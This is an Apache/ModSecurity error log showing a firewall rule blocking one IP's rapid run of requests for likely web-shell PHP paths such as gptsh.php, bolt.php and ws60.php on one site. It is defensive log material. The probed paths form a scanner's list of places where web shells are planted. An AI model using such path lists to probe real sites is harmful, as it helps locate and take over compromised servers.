[Tue Mar 31 10:45:54.169747 2026] [:error] [pid 36890:tid 36910] [client 158.158.51.236:35906] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/clss.php"] [unique_id "acs1Yp8FASPd_uH8z7d2dQAAAA8"]
[Tue Mar 31 10:45:54.988006 2026] [:error] [pid 36892:tid 36971] [client 158.158.51.236:35941] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/clss.php"] [unique_id "acs1Ykyj9S4G0ek3O4Ly9gAAAJQ"]
[Tue Mar 31 10:45:56.184616 2026] [:error] [pid 36891:tid 36930] [client 158.158.51.236:25261] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/clss.php"] [unique_id "acs1ZJJhiMaJUqoqfl5RywAAAEY"]
[Tue Mar 31 10:45:56.954682 2026] [:error] [pid 36890:tid 36916] [client 158.158.51.236:25218] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/clss.php"] [unique_id "acs1ZJ8FASPd_uH8z7d2qgAAABU"]
[Tue Mar 31 10:45:57.723711 2026] [:error] [pid 6548:tid 6565] [client 158.158.51.236:4360] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "acs1ZbgIz9HgMl9YwE7PoAAAAU8"]
[Tue Mar 31 10:45:58.464627 2026] [:error] [pid 41421:tid 41430] [client 158.158.51.236:15672] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "acs1ZhSaDjY9kKFtUQCm-gAAAQY"]
[Tue Mar 31 10:45:59.119977 2026] [:error] [pid 6548:tid 6564] [client 158.158.51.236:35933] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "acs1Z7gIz9HgMl9YwE7PpQAAAU4"]
[Tue Mar 31 10:46:00.197392 2026] [:error] [pid 36982:tid 37001] [client 158.158.51.236:35911] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "acs1aPlMmeoQKN0r_GPfRwAAANA"]
[Tue Mar 31 10:46:00.958756 2026] [:error] [pid 36982:tid 37000] [client 158.158.51.236:43760] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "acs1aPlMmeoQKN0r_GPfTAAAAM8"]
[Tue Mar 31 10:46:02.230912 2026] [:error] [pid 36982:tid 37006] [client 158.158.51.236:4405] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "acs1avlMmeoQKN0r_GPfTwAAANU"]
[Tue Mar 31 10:46:02.922456 2026] [:error] [pid 36982:tid 36991] [client 158.158.51.236:32956] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "acs1avlMmeoQKN0r_GPfUAAAAMY"]
[Tue Mar 31 10:46:04.516049 2026] [:error] [pid 36891:tid 36928] [client 158.158.51.236:38536] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "acs1bJJhiMaJUqoqfl5R1AAAAEQ"]
[Tue Mar 31 10:46:05.170104 2026] [:error] [pid 36982:tid 37000] [client 158.158.51.236:4383] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/init.php"] [unique_id "acs1bflMmeoQKN0r_GPfWQAAAM8"]
[Tue Mar 31 10:46:05.859948 2026] [:error] [pid 36982:tid 36991] [client 158.158.51.236:65141] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/init.php"] [unique_id "acs1bflMmeoQKN0r_GPfXQAAAMY"]
[Tue Mar 31 10:46:06.681820 2026] [:error] [pid 36982:tid 36989] [client 158.158.51.236:35907] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/init.php"] [unique_id "acs1bvlMmeoQKN0r_GPfYAAAAMQ"]
[Tue Mar 31 10:46:07.550826 2026] [:error] [pid 36982:tid 37001] [client 158.158.51.236:65122] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/init.php"] [unique_id "acs1b_lMmeoQKN0r_GPfZAAAANA"]
[Tue Mar 31 10:46:09.048159 2026] [:error] [pid 6548:tid 6553] [client 158.158.51.236:38528] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "acs1cbgIz9HgMl9YwE7PwgAAAUM"]
[Tue Mar 31 10:46:10.029497 2026] [:error] [pid 36890:tid 36904] [client 158.158.51.236:25840] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "acs1cp8FASPd_uH8z7d2xgAAAAk"]
[Tue Mar 31 10:46:10.806656 2026] [:error] [pid 36982:tid 37006] [client 158.158.51.236:15676] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "acs1cvlMmeoQKN0r_GPfZwAAANU"]
[Tue Mar 31 10:46:11.907794 2026] [:error] [pid 36982:tid 36998] [client 158.158.51.236:18167] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "acs1c_lMmeoQKN0r_GPfawAAAM0"]
[Tue Mar 31 10:46:13.042629 2026] [:error] [pid 41421:tid 41440] [client 158.158.51.236:56181] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ajax.php"] [unique_id "acs1dRSaDjY9kKFtUQCnEAAAARA"]
[Tue Mar 31 10:46:13.551464 2026] [:error] [pid 36892:tid 36952] [client 158.158.51.236:52360] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ajax.php"] [unique_id "acs1dUyj9S4G0ek3O4LzEgAAAIE"]
[Tue Mar 31 10:46:14.451644 2026] [:error] [pid 6548:tid 6550] [client 158.158.51.236:56166] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ajax.php"] [unique_id "acs1drgIz9HgMl9YwE7PzQAAAUA"]
[Tue Mar 31 10:46:15.109491 2026] [:error] [pid 36982:tid 36989] [client 158.158.51.236:33984] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ajax.php"] [unique_id "acs1d_lMmeoQKN0r_GPfcQAAAMQ"]
[Tue Mar 31 10:46:16.008547 2026] [:error] [pid 36890:tid 36906] [client 158.158.51.236:25217] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gptsh.php"] [unique_id "acs1eJ8FASPd_uH8z7d22AAAAAs"]
[Tue Mar 31 10:46:16.503827 2026] [:error] [pid 36982:tid 36997] [client 158.158.51.236:52385] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gptsh.php"] [unique_id "acs1ePlMmeoQKN0r_GPfdQAAAMw"]
[Tue Mar 31 10:46:17.104401 2026] [:error] [pid 36982:tid 37001] [client 158.158.51.236:18112] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gptsh.php"] [unique_id "acs1eflMmeoQKN0r_GPfdgAAANA"]
[Tue Mar 31 10:46:17.688215 2026] [:error] [pid 36890:tid 36898] [client 158.158.51.236:18668] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gptsh.php"] [unique_id "acs1eZ8FASPd_uH8z7d22wAAAAM"]
[Tue Mar 31 10:46:18.347922 2026] [:error] [pid 36890:tid 36914] [client 158.158.51.236:23219] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acs1ep8FASPd_uH8z7d23QAAABM"]
[Tue Mar 31 10:46:18.934758 2026] [:error] [pid 36890:tid 36913] [client 158.158.51.236:18166] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acs1ep8FASPd_uH8z7d24AAAABI"]
[Tue Mar 31 10:46:19.616298 2026] [:error] [pid 36890:tid 36916] [client 158.158.51.236:15654] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acs1e58FASPd_uH8z7d24QAAABU"]
[Tue Mar 31 10:46:20.200099 2026] [:error] [pid 41421:tid 41430] [client 158.158.51.236:34034] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acs1fBSaDjY9kKFtUQCnHwAAAQY"]
[Tue Mar 31 10:46:20.921122 2026] [:error] [pid 6548:tid 6571] [client 158.158.51.236:32935] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "acs1fLgIz9HgMl9YwE7P1AAAAVU"]
[Tue Mar 31 10:46:21.482693 2026] [:error] [pid 36891:tid 36946] [client 158.158.51.236:62563] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "acs1fZJhiMaJUqoqfl5R4wAAAFY"]
[Tue Mar 31 10:46:22.029637 2026] [:error] [pid 36982:tid 36993] [client 158.158.51.236:32955] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "acs1fvlMmeoQKN0r_GPffAAAAMg"]
[Tue Mar 31 10:46:22.600574 2026] [:error] [pid 36982:tid 36992] [client 158.158.51.236:35919] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "acs1fvlMmeoQKN0r_GPffwAAAMc"]
[Tue Mar 31 10:46:23.473965 2026] [:error] [pid 36890:tid 36903] [client 158.158.51.236:43716] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ah25.php"] [unique_id "acs1f58FASPd_uH8z7d26gAAAAg"]
[Tue Mar 31 10:46:33.748535 2026] [:error] [pid 36982:tid 37009] [client 158.158.51.236:52408] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws60.php"] [unique_id "acs1iflMmeoQKN0r_GPfvwAAANg"]
[Tue Mar 31 10:46:34.538268 2026] [:error] [pid 36982:tid 36996] [client 158.158.51.236:15651] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws60.php"] [unique_id "acs1ivlMmeoQKN0r_GPfwgAAAMs"]
[Tue Mar 31 10:46:35.491204 2026] [:error] [pid 6548:tid 6567] [client 158.158.51.236:33986] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws60.php"] [unique_id "acs1i7gIz9HgMl9YwE7QdgAAAVE"]
[Tue Mar 31 10:46:36.207546 2026] [:error] [pid 36890:tid 36918] [client 158.158.51.236:15617] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws60.php"] [unique_id "acs1jJ8FASPd_uH8z7d2-QAAABc"]
[Tue Mar 31 10:46:37.012151 2026] [:error] [pid 36891:tid 36941] [client 158.158.51.236:23209] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/motu.php"] [unique_id "acs1jZJhiMaJUqoqfl5R8wAAAFE"]
[Tue Mar 31 10:46:37.726792 2026] [:error] [pid 36891:tid 36947] [client 158.158.51.236:25291] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/motu.php"] [unique_id "acs1jZJhiMaJUqoqfl5R9gAAAFc"]
[Tue Mar 31 10:46:38.458839 2026] [:error] [pid 36890:tid 36896] [client 158.158.51.236:52353] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/motu.php"] [unique_id "acs1jp8FASPd_uH8z7d3AQAAAAE"]
[Tue Mar 31 10:46:39.211228 2026] [:error] [pid 6548:tid 6568] [client 158.158.51.236:34038] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/motu.php"] [unique_id "acs1j7gIz9HgMl9YwE7QfAAAAVI"]
[Tue Mar 31 10:46:39.944902 2026] [:error] [pid 41421:tid 41430] [client 158.158.51.236:65121] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/buc.php"] [unique_id "acs1jxSaDjY9kKFtUQCnPQAAAQY"]
[Tue Mar 31 10:46:40.643055 2026] [:error] [pid 41421:tid 41434] [client 158.158.51.236:52410] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/buc.php"] [unique_id "acs1kBSaDjY9kKFtUQCnPwAAAQo"]
[Tue Mar 31 10:46:41.395095 2026] [:error] [pid 41421:tid 41433] [client 158.158.51.236:23179] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/buc.php"] [unique_id "acs1kRSaDjY9kKFtUQCnQgAAAQk"]
[Tue Mar 31 10:46:42.067747 2026] [:error] [pid 36892:tid 36965] [client 158.158.51.236:47454] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/buc.php"] [unique_id "acs1kkyj9S4G0ek3O4LzcQAAAI4"]
[Tue Mar 31 10:46:42.625983 2026] [:error] [pid 41421:tid 41426] [client 158.158.51.236:39803] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/myfile.php"] [unique_id "acs1khSaDjY9kKFtUQCnRgAAAQI"]
[Tue Mar 31 10:46:43.365122 2026] [:error] [pid 41421:tid 41434] [client 158.158.51.236:62582] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/myfile.php"] [unique_id "acs1kxSaDjY9kKFtUQCnTQAAAQo"]
[Tue Mar 31 10:46:44.210920 2026] [:error] [pid 36982:tid 36991] [client 158.158.51.236:4602] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/myfile.php"] [unique_id "acs1lPlMmeoQKN0r_GPf1AAAAMY"]
[Tue Mar 31 10:46:44.922947 2026] [:error] [pid 41421:tid 41425] [client 158.158.51.236:34031] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/myfile.php"] [unique_id "acs1lBSaDjY9kKFtUQCnUAAAAQE"]
[Tue Mar 31 10:46:45.725023 2026] [:error] [pid 36982:tid 37005] [client 158.158.51.236:34011] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-the.php"] [unique_id "acs1lflMmeoQKN0r_GPf3wAAANQ"]
[Tue Mar 31 10:46:46.392069 2026] [:error] [pid 36982:tid 37000] [client 158.158.51.236:48455] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-the.php"] [unique_id "acs1lvlMmeoQKN0r_GPf5QAAAM8"]
[Tue Mar 31 10:46:47.045420 2026] [:error] [pid 6548:tid 6552] [client 158.158.51.236:62923] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-the.php"] [unique_id "acs1l7gIz9HgMl9YwE7QjgAAAUI"]
